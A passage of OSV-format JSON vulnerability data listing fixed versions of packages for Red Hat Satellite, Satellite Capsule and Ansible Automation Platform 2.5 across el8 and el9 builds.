Hat:satellite:6.17::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.21-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.21-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-demo-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"libsolv-tools-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"perl-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3-solv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"ruby-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-demo-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"libsolv-tools-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"perl-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3-solv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"ruby-solv-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.7.20-7.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el8pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el8sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.18.0.15-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.18::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.18::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.15.7-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.21-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.7-1.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-7.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.1-2.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.1-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-7.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-7.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-7.el8ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.17-2.el9ap"}]}],"bundled":17},{"source":"osv","ecosystem":"Red 